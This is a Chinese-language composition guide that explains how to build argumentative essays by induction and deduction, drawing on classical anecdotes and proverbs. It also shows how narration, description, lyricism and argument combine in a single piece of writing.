谈到 “精神”，这些“个案” 就有了更多的用处。囊萤映雪的故事可以劝学，今人读书的条件比古人好，即使家贫，门外也还有个路灯，站在路灯底下看书也比 “囊萤” 清楚，比 “映雪” 舒服。论朋友义气的时候别忘了荀巨伯。西门豹，无论如何他是爱民的，他是为民除害的，后来他也兴修了水利。荀巨伯能退贼，可见 “古贼” 的心眼儿比较憨直，还不敢轻易毁坏道德偶像。用它来证明 “人心不古” 行不行？“邺”这个地方的人年年甘愿牺牲一个女儿，那里懂得人权？怪不得西门豹能够“以其人之道还治其人之身”。用这个故事来证明社会的进步行不行？
名言助阵
有时候，“个案”之外可以引用名言助阵，或者在 “个案” 不够的时候用名言代替。名言大都修辞什佳，足以使文章醒目生色。
例如：
与良友为伴，不觉路远。这是莎士比亚剧本里的台词，引用的人照例注明是莎士比亚说的。**引用名言一定要记得是谁说的，否则就减少了可信的程度，读者大都有 “因其人而信其言” 的习惯。**由莎翁这句话可以看出 “良友” 的重要。好了，你现在有莎士比亚，有荀巨伯，还可以加上什么？一个今天优于两个明天。语出富兰克林。这是教人把握现实吗？加上 “二鸟在林不如一鸟在手” 如何？这是教人爱惜光阴吗？加上 “大禹惜寸阴，吾人当惜分阴” 如何？孙康为什么要 “映雪” 呢？为什么不等到明天早晨再看书呢？不也是爱惜光阴吗？以此为基础，还可以加上什么？己所不欲，勿施于人。人所共知，这是孔子说的。耶稣也说过 “要人家怎样待你，先怎样待人。” 有人认为孔子的话比较消极、被动，传述孔子思想的 “中庸” 有一句：“所求于朋友，先施之！”就和耶稣的话很相近了。当你拿着两本书思索你的孩子该先读那一本的时候，别人家的孩子早已把那两本书都读完了。这是英国文学家约翰生的话，他的意思是劝人做事当断则断，不要犹豫不决。这句话使人想起一个故事：某人有两个儿子，都被土匪绑去。土匪说：“我要一百两金子，但是我只能放回一个儿子给你。” 这可把事主难住了，一百两黄金可以想办法，但是究竟把那个儿子赎回来呢？他反来覆去的想了很多天，不能决定，土匪等得不耐烦，就把他的两个儿子都杀掉了。- 世上最快乐的事莫过于为所当为。——培根
- 健康生快乐，快乐生健康。——司派克提尔
- 家庭和睦是人生最快乐的事。——歌德
- 知足常乐。——陶觉
- 为善最乐。——中国谚语
以上五句名言都在说什么是快乐。他们说的是为所当为、健康、家庭和睦、知足、为善，五者都是正当的积极的，既然 “为善” 可以使人快乐，那么人为了快乐就要去多行善事，那么追求快乐也就是一件好事。这就有了一篇文章。
看起来，集用名句也可以建立论据。名句十分精炼，写出来像个大纲，有骨无肉，补救的办法是对名句的意思先略作解释。以上五句名言，每句扩充成一百字，就有五百字。加以归纳，指出五者都是正当的、积极的，两百字。追求快乐是人的天性，人为了快乐，去做这些正当的、积极的事，那么快乐是他应得的报酬，我们应该加以鼓励，三百字，一篇 “千字文” 顺利完成。
或者换个角度来归纳：为所当为、家庭和睦、知足、为善，都不是物质享受，都是精神上的快乐。连 “健康” 也可以从这个角度赋予意义。这时，你可以说，精神上的快乐才是真正的快乐。可惜世上许多人太注意物质享受，以为脑满肠肥是快乐，纸醉金迷是快乐，走入了迷途。这也可以成为一篇文章。
###议论文的类型
已给论据的作文
有些作文题目可能早把论据给你准备好了，例如：多难兴邦、志不立无可成之事。
你的工作是：一、证明多难可以兴邦。二、申明多难何以能够兴邦。三、多难兴邦的 “原理” 给我们的影响是什么。你不能向反面发展。
第二题也是一样，你可以想想东汉的严光，他和皇帝是同窗好友，皇帝到处寻访他，他躲起来。后来找到了，皇帝给他官做，他坚决辞谢，宁愿到浙江的富春江旁去种田、钓鱼。他从没有立过做官的志向，纵然有那么好的机遇，也对他毫无用处。（换个角度看，他立志做隐逸之士，倒是成功了。）你可以想想南宋的高宗，那时金兵入侵，朝廷偏安，但是他从未立志光复河山，只想委屈求和，虽有岳飞那样的名将，虽然北部有风起云涌的义兵，也无济于事。“志不立，天下无可成之事”，这句话是可以成立的。但是这句话的意思并非教人不要有 “野心”，不要有作为。真正的意思是 “欲成大事，必立大志”。这句话故意用否定的语气表示警告和催促。所以文章应当落到 “志不可不立”。
为给论据的作文
作文题目也可能像个选择题：
- 文事与武备孰为重要
- 用人惟才与用人惟贤之利弊得失
- 传统与创新
- 安定与进步
面对这样的题目就得自己建立论据，不过要在题目预设的范围之内建立。论据可能有几种方式：
- 两者并重：“文武之道不可偏废。”
- 两者选一：宁可选能。（或宁可选贤）
- 两者合一：传统是由不断的创新形成。
- 两者因果：安定始能进步，进步始能安定。
文章同时要说两件大事，似乎很难。但只要有材料，知道方法，就容易落笔。有人要我们多读书，多眼到手到心到，正是为我们有材料。有了材料，剩下的是方法问题。作文要考这样的题目，正是要看我们知识如何，思想条理如何，由材料看识见，由方法看思路。
你只有几十分钟时间作文。你只有几百字到一千字可写。在这种情形下，你得讲求方法。一个有效的方法是：把题目上的两件事看作一件事。同时写两件事，难；写一件事，易。明明两件事怎可说是一件事？因为事物和事物有共同的关联，读书明理，就是要找出这种关联来，东圣西圣都有人说，天下万事其实只是一件事！他们说是找到了万事万物的总开关！那实在不容易！我们无法找到所有事物的共同关联，但是我们可以找到文事和武备的共同关联，那是 “国家的需要”。我们可以找到传统与创新的总关联，那是 “文化的发展”。
“国家的需要” 是个大题目，试看每年的总预算要印成一本书，国会要花几个月的时间来讨论。我们从何说起？我们从小处说起，我们说人人既需要医生治病，又需要警察捉强盗，二者不可缺一。我们既需要军队，又需要科学家研制新的武器，二者不可缺一。这就是流传了几百年的 “大题小做”。
简单的作文
有时候，作文题目既不要你证题，又不要你选择答案，它不过是：
- 我对电视节目的意见
- 青年的出路
谢天谢地，出题的人知道体谅考生的难处。这样的题目最容易写，只要提出三点两点意见，指出三条五条出路就行。不过，出题的人虽然宽大，阅卷的人却很严格，也就是说，题目越容易发挥，想得到高分也越难，阅卷的人要求文章有特色、有新意。能够娴熟的运用归纳法，比 “漫谈” 一番要占些优势。
论据不一定正确
如果你已经学会了使用归纳，你得注意：我们归纳出来的论据并不一定完全正确。因为世上万事太复杂了，我们的 “个案” 不能完全代表，我们归纳出来的论据也就不能完全涵盖。“凡人皆有死”，这句话可以说是完全正确，至今世上还没有不死之人。“用水量越高的城市，它的文明程度也越高”，这句话本来也很可靠，但是有一次出了意外，某一个城市的自来水系统处处漏水，水是漏掉了，不是用掉了。“凡鸟皆能飞”吗？动物学家说世上确有不会飞的鸟。植物学家还说世上有吃肉的“草”！
论到 “人”，和人所生出来的 “事”，就更复杂、更变化无穷。有一次在课堂上练习归纳法，出现如下的对话：
“女生怕蛇。” 一个男生说。
“女生怕老鼠。” 另一个接着说。
“女生怕黑。”
于是顺理成章的有人说出：
“女生胆子小。”
这时有人忽然站起来质问：
“花木兰、梁红玉的胆子小吗？”
四座默然，世上有一半人口是女性，性格、文化背景、健康状况有种种差异，你怎么归纳得完！怎么能没有例外！用中国的一句老话来形容，真是 “一言难尽”！有人活了九十岁，阅人多矣，到最后他对人的看法还免不了 “偏见”，有人花十年功夫做研究，到后来他的论文里还有 “种族歧视”。
所以，用归纳法作议论文，不要把话说死了，说绝了。比较妥当的说法是，今天青年的出路，“似乎”比百年前更广更多。“我认为”，电视节目的功能以教育为主。“由此可见”，古人行得通，今人 “未必” 行得通。古往今来，有成就的人 “大概” 都很专心。
这不是成了 “差不多先生” 了吗？也许是吧，也许在求学的时候，在我们未能掌握准确的真理以前，总要做几年几十年 “差不多先生” 吧。
演绎
归纳法和演绎法像一对孪生姊妹，经常被人们相提并论，它们的功用也好比前锋后卫，相辅相成。
**归纳法是化繁为简，多中求一，演绎法则恰恰相反。**例如 “一个三角形各内角的总和是一百八十度”，这句话没有错，凭着这一条定理，我们可以断定沈之阳画的那个三角形是一百八十度，甘若素画的那个三角形也是一百八十度，推而广之，任你在什么地方画一个什么样的三角形。其各内角的度数之和是一百八十度。不用再计算、测量，这就是演绎。
我每逢看见 “天有不测风云” 这句话，就想到现在的气象预报相当准确，古人认为没有办法的事，今人已经很有把握。气象台时时注意气压、气温、风向、风速、湿度、附近地区的气象变化，气象专家手里也有一条一条“定理”，在什么情形之下会下雨，什么情形之下会有台风，他用的方法也是演绎。
演绎的过程
提出论据
演绎要先有 “普遍原理”，用在写议论文上，就是先有论据。例如：学然后知不足。
大家都相信这句话站得住。拿它作论据，加以演绎，我们想到，那位说 “我只知道一件事，就是我无知” 的人，说 “在宇宙面前，我是个幼稚园的学童” 的人，都是伟大的学者，说 “知之为知之，不知为不知” 的人，到了老年还在发愤忘食，他也是伟大的学者。倘若有人自以为他的学问够大了，满足了，（开玩笑的话例外）我们敢说他 “不学” 或是“停学”。这就是凭演绎。这样就可以写成一篇文章。
探求未知
有人问过，既然如此，演绎法岂不就是把归纳法倒转过来？先确定 “能专始能精，能专始能成”，再把董仲舒、孟浩然一个一个请出来，岂不就是演绎？应该指出，**演绎法有一个用处，就是帮助我们探求“未知”，而归纳法所归纳的，限于“已知”。**我们已经知道董仲舒、孟浩然都很专心，知道他们的成就，于是对于眼前那正在全神贯注、锲而不舍的做学问或创事业的人，可以“预测” 他将来必定有些成就，至于成就的大小，当然还要看机会、才能、健康状况等条件，但是，“假如其他条件相等”，专心致志总比 “一心以为有鸿鹄将至” 要多一些成就。
同理，“三角形各内角之和为一百八十度”由归纳产生，那是测量、计算了许多三角形之后的 “已知”，用于演绎，我们对任何一个三角形，不必测量，不必计算，可以“预料” 它的各内角之和也是一百八十度，这就是帮助我们探求未知，可以说：用归纳法 “温故”，用演绎法 “知新”。
王戎的故事曾经写在课本里，他还是一个孩子的时候，跟许多同伴一起到野外玩耍，走着走着，远远看见大路旁边有一棵李树，上面结满了累累的果实。孩子们欢呼一声，飞奔到树下去采李，独有王戎坐在原处休息。有人问他为什么，他说：“树上的李子是苦的，不能吃。” 怎么知道是苦的呢？“李树生在大路旁边，如果不是一棵苦李，早该给人家采光了，怎会有许多果实留在树上？” 不久，那些爬上树去的孩子，都兴致索然的走回来，李子果然是苦的。
王戎用的就是演绎法，他的论据，用庄子的话来表示，就是甘井先竭。从前没有自来水，大家 “凿井而饮”，一个村子上可能有两三口井，如果某一口井的水特别好喝，居民（什至邻近村子里的居民）必定先到这口井来打水，直到这口井里暂时没有水了为止。果树也是一样，“桃李无言，下自成蹊”，因为来欣赏果子的人、来摘果子的人会把树下踩出一条小路来。如果树下是荒芜的，没有人迹的，那就不是 “甘井”，不是甜李。
**远离烟酒为强身之本。**现在的医生都相信这句话，他们从许多研究论文、许多临床经验知道，高血压、心脏病、癌症都和烟酒有密切关系。美国的香烟盒上，都依照政府的规定，用文字标明 “吸烟有害健康”。这是“温故”。你有了病去找医生诊疗，医生照例问你“吸烟不吸烟？喝酒不喝酒？” 如果答案是 “不”，医生就认为你得某些病的机会要少一些。如果你投保人寿保险，保险公司也会问你“吸烟不吸烟？喝酒不喝酒？” 如果答案是“不”，他们就认为你可能活得长一些，接受投保的风险就小一些。这都是“知新”。
在愚公移山”那个故事里，愚公对智叟说：我的年纪虽然大了，我有儿孙。我的儿孙还有儿孙。我们世世代代合力移山。我们的力量不断增加。山是不会生长的，山上的土石是不会增加的，我们搬走一块石头，它就少了一块，我们挑走一筐土，它就少了一筐。这样，终有一天，移山可以成功。愚公的这种思考过程，就是演绎。
在鹬蚌相争那个故事里面，鹬对蚌说：“如果一直不下雨，你会渴死。”蚌对鹬说：“如果我一直夹住你，你会饿死。”它们的思考方式；也是演绎。
演绎的分类
多线演绎
现在回顾一下前面举过的例子。在 “学然后知不足” 这个论据之下，演绎及于孔子，苏格拉底、爱因斯坦，发展出好几条线来，线与线是平行的，这叫多线演绎。在 “远离烟酒为强身之本” 这一论据之下，演绎及于有病就医的甲乙丙，和投保寿险的丁戊己，也是多线演绎。
单线演绎
由 “甘井先竭” 演绎出来的“道旁之李应该早被行人摘光”，就是只说这一件事，由一条线向下发展，这是“一线演绎（单线演绎）”。这一线继续延长，反证“道旁多李必是苦李”。一线演绎通常是要向前延申的。这种延申就是“推论”。
在愚公移山的例子中，愚公的 “推论” 是经过一再延申的：
- 第一节：“我的儿孙的力量比我大，而山的体积不会增加。”
- 第二节：“儿孙的儿孙人数更多，力量更大，而山的体积不会增加，（只有减少。）”
- 第三节：“儿孙的儿孙还有儿孙，力量一直增加，而山的体积一直减少。”
**愚公的推论是像竹子生长一样一节一节加长的，也是一步一步达到 “未知”，将未知变为已知。**这种一步一步的推论，是议论文常用的写法。
当我在中学读书的时候，校中是禁止男女同学恋爱的。事隔多年，我还记得训育主任的一番道理，我可以用 “节节生长、步步推论” 的方式把他的意见写在下面：
- 第一节：学生多用一分钟时间恋爱，势将少一分钟用功，恋爱必然荒废课业。
- 第二节：课业荒废，学生不在功课成绩上竞争，为得到爱情而竞争，势将争风吃醋，滋生纠纷。
- 第三节：学生和学生之间一旦为了爱情发生争夺，势将结成集团帮派，什至可能互相斗殴，校风于是败坏。
我把他的话写在这里，并不希望别人都信从他的主张，而是指出他推论的过程。你可以用同样的方式 “鼓吹” 恋爱：
- 第一节：男生女生一旦发生恋爱，必定努力提高自己的成绩，以争取、增进对方的好感；
- 第二节：在这种迫切的要求下，男女人约黄昏或共度周末的方式，将会是切磋琢磨各门功课；
- 第三节：男生多半长于数理，女生多半长于文史，恋爱使两者截长补短，齐头并进，学业与感情与日俱增。
你可以用这个方法发表反对的意见，也可以用这个方法发表赞成的意见，这就是方法的 “中性”。
一线演绎有时像抽丝——“绎”字可不就有个丝字旁？从前文人有 “抽丝剥茧” 的说法，那厚厚的茧，是细长的丝一圈一圈一层一层做成的，抽丝的时候，茧就自内而外一层一层一圈一圈的展开。有些题目，你真觉得它像个“茧”：强国必先强身。它就是一个茧。它有明显的脉络层次。
- 第一层，国家是人组成的，人人能自立自强，国家才会强盛，自立自强的人或是冒险犯难，或是案牍劳形，或是汗流浃背，或是通宵深思，当一名建设国家的工人。
- 第二层，自立自强是一种精神，是诚中形外，欲罢不能，决不是装模作样，决不肯弄虚造假。他自然而然的去冒险犯难，去通宵沉思，或是在办公室里劳形，或是在工程中流汗，不但不以为苦，反而是精神上的一种满足。
- 第三层，如果他爬山去完成一项任务，他的体力不够，半路上走不动了，躺下去了，谈什么冒险犯难呢？如果他思考一个问题，想着想着头昏了，心跳了，想不下去了，不敢再想了，他怎能深思熟虑，提出完善的方案呢？如果他多看了一些公文就得了脑溢血，如果他多晒些太阳就犯了心脏病，他的精神又从何表现呢？精神是通过肉身来表现的，精神在不眠不休之中，在跋山涉水之中，在耳聪目明思路清晰之中，总之，在健强的身体之中。
我们现在把丝抽出来了，把茧剥开了，再沿着这条线反馈，由强健身体到自强的精神，由自强的精神到强盛的国家，又还他一个茧。像 “强国必先强身” 这一 “型” 的节目很多，“国强而后民贵”，“健全的精神寓于健全的身体”，“安定先于进步”，都可以列入这一类型，都可以用 “抽丝剥茧” 的写法。
练习演绎
无论是归纳法或演绎法，在练习期间，最好具有对这种方法的敏感。例如：
**塞翁失马，焉知非福。**塞翁用的是归纳法还是演绎法？演绎是由已知到未知，塞翁预测失马可能是福，当是演绎。演绎是从普遍原理推知个别事实，塞翁所根据的 “普遍原理”，就是已知的“祸福相倚” 的思想：福中隐藏着祸，祸中暗暗 “发育” 着福。
**信耶稣，得永生。**看起来这是 “普遍原理”，应是从许多个案中归纳得来，但是这一信条只能供演绎之用，藉以“预测” 你我他诸位信主的人有什么收获。这个 “原理” 的本身却并不是归纳法的结果。
**寄语天孙休乞巧，老夫守拙尚多乖。**诗人在七夕做的诗。各地妇女都有在七夕 “乞巧” 的风俗。乞巧是在星光下，以线穿针，谁能够把线顺利穿过针孔谁就是未来的巧妇。可是诗人说，我一辈子 “守拙” 还做错了许多事呢，还摔了许多跟斗呢，你们 “乞巧” 将来怎么得了？他 “推测” 那些 “取巧” 的人将来一定要吃很多亏！这是演绎法，所根据的普遍原理是：所有取巧的人都是常犯错误的人。（诗人利用了 “巧” 字的双关语意，把主题过渡到 “投机取巧” 上来。）至于 “老夫守拙尚多乖”，由那个“尚” 字看，这一句是衬托，也是强调。
**不知其人观其友，不知其子视其父。**这两句格言的效用是建立在演绎上，由已知的 “友”“父” 推想未知的 “子” 和“其人”。当礼教森严的时代，说媒的人无法使男女双方会面，只能使男子看见 “她” 的姐姐，使 “她” 看见 “他” 的舅舅，从 “不知其甥视其舅”、“不知其人观其姊” 演绎摸索。当然，这样得到的答案可能极不正确。“观其友而知其人”的论据是同类为友，“观其父而知其子”的论据是 “有其父必有其子”，这两条“原理” 都有很多例外，至于甥舅姊妹之间，更往往差之毫厘，失之千里，所以古代相亲的故事有许多笑料和悲剧。
**你会后悔的。**做父母的常常用这句话 “警告” 不用功的孩子，它是由 “少小不努力，老大徒伤悲” 这一普遍原理演绎而来。可以说，“警告”多半是演绎的。
**角者吾知其为牛，鬣者吾知其为马。**头上生角是牛的共同特征，凭 “角” 识牛，演绎。但是这句话有毛病，并非所有的 “角者” 都是牛，（还有羊有鹿。）因之发生了 “除不尽” 的现象。正是“美人未尝不粉黛，粉黛未必皆美人。”
正确的演绎
有时候，练习推理是一件很有趣的事情。例如，我转身背脸，任你秘密的打开一本五百页厚的字典，在某一个字作个记号，我能猜出是那一个字来。当然，你得允许我问几个问题。第一个问题照例是：这个字是在由第一页到两百五十页呢，还是在由两百五十一页到五百页呢？如果答案是二五一页到五百页，我将再问：这个字是在二五一到三七六页呢，还是在三七七到五百页呢？好了，我想你知道怎样问下去了。
另一个例子是，一个大人带着一个小孩子在公园里散步，大人一直跟孩子叫 “我儿”，可是孩子不肯叫大人 “爸爸”，何故？有人百思不解，其实十分简单，那个大人是孩子的妈妈！
相对正确的演绎
向一本五百页厚的字典中找一个作了记号的字，这个字不在一至二五十页，就在二五一至五百页，不会有任何 “意外”，因为没有五百一页。孩子既是那人的儿子，那人不是孩子的爸爸，就是孩子的妈妈。这就像三角形内的三个角一样，完全在你掌握之中，决不会一转眼变成四角形。但若说到人间万事，有许多因素是我们不知道的，有许多因素是随时变化的，推理就往往只能局部正确，相对的正确。
宋代有一个人到广西做官，见当地人生了病到庙里求些香灰来吃，心里非常难过，就悄悄的派了些医生跟和尚秘密合作，把药品掺在香灰里，让那些愚夫愚妇吃了香灰也能把病治好，这样救活了很多人。在历史上这是一个爱民的好官。可是有人作翻案文章，认为香灰掺药始愚民，是助长迷信，使当地人不能发现自己的愚妄，反而是害了他们。两种说法都有一部份事实作根据，这就是相对的正确。
有人问，为什么格言和格言会互相冲突呢？为什么既说 “沉默是金” 又说 “一句话说得好就是金苹果落在银网里”？为什么既有“少小不努力，老大徒伤悲” 又有 “人生行乐耳，富贵须何时” 呢？为什么既要我们 “知足常乐” 又要我们 “自求多福” 呢？为什么既认为 “得人者昌、失人者亡” 又认为 “胜者所用、败者之棋” 呢？格言都是归纳产生的，有时也只能归纳一部份事实。
所以，议论自来免不了 “争论”。虽然如此，我们仍然应该知道可能发生的谬误，力求避免。像：
- 他是艺术家，一定很穷。
- 他是外国人，英语一定说得很好。
- 世上既没有圣诞老人，当然也没有耶稣。
至少，这样的推论我们应该一望而知其有误。拿破仑对他的士兵说：“世上最危险的地方是你家卧室中的睡床，因为世人都死在床上。” 他似乎是用了归纳法，但是我们应能辨认这只是悄皮话。
演绎、归纳常常是并用
管宁割席。管宁和华歆一同读书，但是后来管宁决定和华歆绝交。这是因为发生了两件事。第一件，管宁和华歆一同在后园锄地，土中翻出来一块黄金，管宁照常挥锄，连看也没看一眼，华歆却把黄金拾起来把玩了一会儿再丢掉。第二件事：有一天两人正在读书，忽然门外有马车和鸣锣开道的声音，显然有贵人经过，管宁照常读书，华歆却丢下书本向外窥看，脸上露出羡慕的神色。于是管宁断定不宜再和华歆做朋友。管宁用的是归纳法还是演绎法？似乎是归纳，他至少有两个 “个案”，也许还有第三个第四个，历史上没有写出来，不只如此。他似乎也用了演绎法，预测华歆贪图名利，将来和他的志趣不合。
一叶落知天下秋。人们常说这句话以偏概全，一叶落怎么就是天下秋？难道没听说过 “一朵花造不成春天” 吗？此言有理。再想一想：这是一句诗，文字上有若干省略，如果补足了：一、看见一片落叶从树上掉下来，才发现树木开始落叶了，才联想到各地的树木都落叶了，那么，秋天来了。这是一句诗，句法上可能故意颠倒，写成散文，也可能是：二、秋天到了，树木开始落叶，我家窗前的梧桐，今晨掉下第一片叶子。第一段散文是 “万木落叶天下秋”，是归纳，第二段散文是 “天下秋而桐叶落”，是演绎。
归纳、演绎并用，不但产生了好诗，也发展出一套 “观人” 的方法来。古代中国没有性向测验，没有安全调查，一个人是否可用，几乎全凭掌权的人观察决定。观察者能从一些细微的行迹上推知人的大节。例如：
坠甑不顾。东汉孟敏在市场上买了一个煮食物用的瓦器，带着回家，半路上，瓦器掉在地上摔碎了。据说，孟敏照常行进，没有停下来回头看看，他说甑已碎了，回头看又有什么用？郭泰就凭这件事称赞孟敏，说他 “果决”。坠甑是个别事件，“果决” 是普遍原理，可以推知他处理别的问题也不会拖泥带水。然而坠甑的事件是个 “孤例”，不宜凭“孤例” 建立普遍原理，但中国流传的 “观人” 的故事，凭 “孤例” 决定了许多人的职业或事业。
**你可以想想计时的沙漏。它是一个 Ｘ 形的玻璃瓶，细沙从上端 “归纳” 在一起，通过一个小孔，缓缓的 “演绎” 下去。**我们可以从它领悟议论文的思路。民间传说刘伯温诸葛亮都能 “前知五百年，后知五百年”，前知五百年是他归纳的功夫，后知五百年是演绎的功夫。我们没有那么大的能耐，但是，从许多个别事例找出普遍的原理，从普遍原理推知个别事实，这个能力我们多少有一点。因此，当我们面对议论文的题目时，应该不致有“怎么下笔” 的苦恼。
大作家并不故意遵依 “沙漏” 式的布局，他们是“以意运法，莫之为而为”。培根谈读书，也有一段话与此式暗合。他说：历史能使人变得聪明，诗歌能使人增加想像力，数学能使人精确，自然哲学能使人思想深刻，伦理学能使人态度庄重，逻辑学修辞学能使人擅长词令。总之，读书能陶镕人们的个性。
这显然是归纳。下面又说：读书还可以消除心理上的种种障碍，犹如适当的运动可以矫治某些身体上的疾病一样：滚球戏有助于肾脏的健康，射箭有助于胸部的发达，散步有助于胃肠的消化，骑马有助于头部的健康。所以一个人在心神散乱的时候，最好去学习数学，因为演算数学题目必须集中精神，否则便计算不出来。一个人如果对差异不易辨别，就要向那些演绎派的大师们去请教，因为这些人连毫发之微都能剖析出来。一个人如果心灵不敏，不能触类旁通，不妨去研究律师的案件，
“沙漏式”的布局，特别适合用于 “回顾与前瞻”、“过去与未来” 之类的题目，这种题目天然把内容分成两部份，前一部份可以用归纳法处理，后一部份可以用演绎法处理。例如，“联考制度的回顾与前瞻，”在回顾的部份，你或者可以说，联考制度的建立，是因为要升学的人多，学校能容纳的人少，竞争激烈，公众要求考试公平，这才定出联考的办法，而且后来采用电脑阅卷。联考，和分配国民住宅抽签，都为了满足社会的公意，可以说是社会的产物。在展望未来时，你可以说，今后只要社会条件不变，只要升学的窄门照样拥挤，家长对考试还是那么紧张，教育机构对公众的批评还是那么戒惧敏感，联考制度大概要继续维持下去，不过在技术上会有改进，因为这种改进也符合公众的意愿。这篇文章前后两大部份，前归纳而后演绎，中间的枢纽是“制度存在于公意之上”。这当然不是什么高明的理论，但是你可以如时缴卷得分。你如另有更好的意见，也可以用这个布局。
四种写法的综合运用
先看一篇短文，一面看，一面分辨那些是记叙，那些是描写，那些是抒情。
我不懂庄子为什么说有至德的人从不做梦。孔子曾经梦见周公，诸葛亮曾经梦见伊尹，难道这两个人的人格还不能做我们的模范吗？我认为梦境可以使人的心灵更丰富。我一点也不羡慕庄子所说的至人。我想这篇文章的读者你有做梦的经验，只是不知道他们做过连续发展的梦没有？有一个梦，我反覆做过许多次，每一次情节都有变化，极像是每周一次的电视剧集。
梦境是这样的：我站在一座黑色的山峰上，罩在苍茫灰暗的穹窿之下，只有头顶上一颗星发出神秘的光。我为摘星而来。但是任我像芭蕾舞表演那样竖直脚尖，拉长手臂，总还是差三寸两寸构不着，我想：等我长高一些再来吧。这么一想，我就醒了。
每隔几个月，我会走进梦境再努力一次。如果能摘一颗星放在衣袋里，当然是人生很大的成就。那星在天上诱惑我。那山峰也很凑趣，蓦地把我举高几丈，——也许是几十丈。我高了很多，可是我的手离那颗星还差一截。任我怎样坚忍也是枉然。我总是在背脊出汗、肩膀酸痛中醒来。
在那一段日子里心情真是落寞，每次仰脸看天，就觉得天离地这么高就是为了使我空虚。有时仿佛是，醒里梦里，星已被别人摘走，恨不得能回到童年时代，滚在地上痛哭一场。但是我构不着的东西谁又能构着呢？我的身高是数一数二的，再说，到梦境的路并没有地图。
摘星的梦以后又做过几次，山峰一次比一次高，星离我仍然那样远。后来，那山峰实在太高了，使我发生了可能脱离地心引力的恐慌，我简直以为脚下踏的只是一团伸缩变化的黑气，或是一堆蒙蒙游离的灰尘。我想我是再也回不了家，再也不能悠悠醒转了。
我开始怕这个梦。如果这是个剧集，我希望关掉电视。可是由不得我，总有什么力量把我的灵魂一把抓起来丢在那若有若无的山上，而我也总是身不由己去攀那若即若离的星。
终于，有一次，我一下子把那星抱在怀里了。原来它有汽车的方向盘那么大，而且是撼不动搬不走的。出乎我意料之外，它清凉而有韧性，它的光，把我的手指照成透明的了，把我的须发照透明的了，把我的心肺也照成透明的了，我成了一块水晶。附近的星星都伸出头围拢过来看，地上的人也仰起头来看，我已经和那颗星合并成一颗大星。
这篇文章有记叙，有议论，有描写，也有一点抒情。它究竟是一篇什么文章呢？它该属于那一类呢？
这是一篇记叙文，记梦。但是它在叙述的时候加入了抒情，有几处它用描写代替了叙述。文章开头先发议论，结尾则是诉诸想像的描写。
**议论、叙述、抒情、描写，四者综合。**纯粹的议论文，纯粹的记叙文，纯粹的抒情，或是纯粹的描写，在理论上有，在我们作练习的时候有，在我们写作的时候却是极少。我们经常把这四种写法综合使用。
拿前面那一篇文章来说，作者固然是在记梦，可是他对 “做梦” 这件事有自己的见解。他想把见解也写出来。他为什么不可以写出来？
他，记述那是怎样的一个梦，梦中有些细节非写得详细不能写出梦的特色，非放大了来写不能称心。要想写得历历如绘而不琐碎散漫，必得用描写的手法来处理。谁能禁止他这样做呢？
梦境是充满了感性的，梦中的喜怒哀乐会留到醒后久久不散，把梦境引起的情感起伏写出来，不但使记叙更清楚明白，也给梦境增加深度和厚度。那么，为什么不写呢？既然写，为什么不用抒情的笔法呢？
**记事、抒情、说理、写景，常常在文章里交织得十分细密。**例如：
她流下眼泪。
这是记叙。在这句话后面紧接着：
泪珠在她眼睛里游走一圈，拉成一条晶莹，拍的一声在地板上跌碎了。
这是描写。若非描写，一滴眼泪不会这么重要，眼泪也不能 “拉成一条晶莹”。下文是：
人性啊，你的名字是脆弱！一片落叶可以使我产生莫名的烦恼，一双蝶蝴可以给我无由的快乐。当前的一滴眼泪则使我颤抖，好像面对灭世的洪水。世上有什么语言可以挽救我的失败呢？有什么行动可以改正我的错误呢？
这显然是抒情了。然后是说理：
事后回想起来，那场面并不值得惊心动魄。人都有一个幼稚期，然后渐渐老练起来，微风能折弯小草，不能摇动树枝。“老练”和 “幼稚” 常常互相讥讽，那倒也不必，只要老练而不麻木，幼稚而不冲动，两者都很可贵。
这一段虽是说理，却也用了一个比喻，以描写来帮助议论。
就以上的例子举一反三，我们不免要问：是否记叙、抒情、描写、议论可以不再画分了呢？是又不然。
尽管记叙可以和抒情、写景、议论综合运用，
- 那以记叙为主的，仍是记叙文；
- 那以议论为主的，仍是议论文；
- 那以写景为主的，仍是描写文；
- 那以抒情为主的，仍是抒情文。
通常，我们先考虑写什么题材，也就是采用生活中的那一部份经验。如果由老师命题作文，他必定先考虑同学们有这个经验没有。他不可能要我们写 “喜马拉雅山去来”。
有一个插曲。有一次，班上的作文题目是 “我的哥哥”，一位女同学立刻举手发言：“我没有哥哥。” 老师就问她：“你是不是希望有个哥哥呢？你有没有幻想过有个哥哥也很好呢？”答案是“有”。老师说：“写你幻想中的哥哥吧。”幻想也是生活经验的一部份。
题材选定了，你得决定，这篇文章以记叙为主呢？以抒情为主呢？以描写为主呢？还是以议论为主？有时候，出题目的人连这个也规定了。题目是 “蔺相如完璧归赵论”，你大概就不能放手描写了。题目是“祭抗战八年死难的同胞”，你大概就不能“记事本末” 了。题目是“垦丁公园游记”，你大概就不能鸿论滔滔了。这倒也解决了问题。
不过也可能引起问题。**像 “植物园里的荷花”，原不止有一种可能。你可以写成 “植荷”，以记叙为主；你可以写成 “赏荷”，以描写为主，你可以惋惜残荷，以抒情为主，你可以写成 “荷池对于景观之影响”，以议论为主。**如果题目下面有括弧，注明 “记叙文”，你就受到很大的限制。
倘若训练有素，几乎什么题目都可以作文。有一年，联考的作文题目没有印在试卷上，改为在考场中临时宣布，以防漏题，但是试卷上 “作文” 项下有一句话，注明“文言白话皆可”，这句话当然是加上括弧的。有些考生临场紧张，没看见黑板上的作文题目，只看见试卷上的“文言白话皆可”，以为这就是作文题目，居然也写出满篇文章，真也多亏了他。
又有一次，国文试卷上不印作文题目，临时在考场公布。办理试务的人希望考生作文时先把题目抄下来，不要一出手就是文章，因此在考卷上加注 “把题目写在答案纸上。” 试题和答案用纸是分开的，考生做出来的文章也是一种答案，这是试务人员的想法。但是有些考生忙中有错，以为 “把题目写在答案纸上” 是作文题目，居然也能写出好几百字的“答案”。
我当时觉得这事有趣，就去拜访几位阅卷的老师，问他们可曾看到根据 “把题目写在答案纸上” 做出来的文章。有位老师说他看到一篇，写得还挺不错的呢。那篇文章写了些什么内容？阅卷老师想了一想说，内容大概是这样的：有题目就有答案，有答案就有题目。这像是鸡生蛋、蛋生鸡一样，两者有因果关系。是先有鸡还是先有蛋？也就是说，先有题目还是先有答案？我想，在命题委员心里是先有答案的，他心里先有了山涛、阮籍、稽康、向秀、刘伶、阮成、王戎的名单，再问竹林七贤是谁，看我们是否记得。但是对我们考生来说，却是先有题目、后有答案，我们是根据题目作答的。
